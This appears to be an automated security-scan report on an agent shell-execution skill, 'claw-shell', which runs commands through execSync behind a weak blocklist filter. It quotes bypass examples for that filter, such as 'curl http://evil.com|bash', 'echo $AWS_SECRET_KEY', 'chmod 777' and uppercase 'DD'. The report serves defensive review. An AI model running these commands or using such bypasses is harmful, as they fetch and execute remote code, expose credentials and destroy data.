claw-shell
Shell execution tool with declared purpose but weak safety filter that can be bypassed, allowing potentially destructive commands.
The skill uses execSync to execute arbitrary shell commands with only a basic blocklist filter. The filter in isDangerous() can be bypassed with variations like 'rmdir', uppercase commands, or piped remote scripts.
handler.js:18 Why this conclusion was reached
1/4 dimensions flaggedDeclared resources and inferred behavior are broadly aligned.
1 lower-risk artifacts were extracted and still need context.
The report includes 0 attack-chain steps and 1 severe findings.
Dependency information is incomplete, so supply-chain confidence stays limited.
What drove the risk score up
Full shell access is powerful and declared, but safety measures are minimal
Filter can be bypassed with variations like 'rmdir', symlinks, or 'curl http://evil.com|bash'
Commands could hang or consume excessive resources
'sudo' variations, 'DD' uppercase, embedded commands could slip through
Most important evidence
Unrestricted shell execution with weak safety controls
The skill uses execSync to execute arbitrary shell commands with only a basic blocklist filter. The filter in isDangerous() can be bypassed with variations like 'rmdir', uppercase commands, or piped remote scripts.
handler.js:18 Dangerous commands bypass filter
Commands like 'rmdir', 'chmod 777', '> file' redirection, or 'curl http://evil.com|bash' are not blocked by the current filter.
handler.js:18 Indirect environment variable access
While not explicitly accessing environment, the shell execution allows reading $API_KEY, $SECRET, etc. via commands like 'echo $AWS_SECRET_KEY'
handler.js:14 No command timeout configured
execSync calls have no timeout specified, allowing commands to hang indefinitely.
handler.js:29 Declared capability vs actual capability
execSync used in handler.js:1,7,10 Shell can execute any file operation Shell can execute curl/wget/netcat Shell commands can read $ENV vars — — — Suspicious artifacts and egress
https://x.com/... SKILL.md:39
Dependencies and supply chain
There are no structured dependency warnings.
File composition
handler.js SKILL.md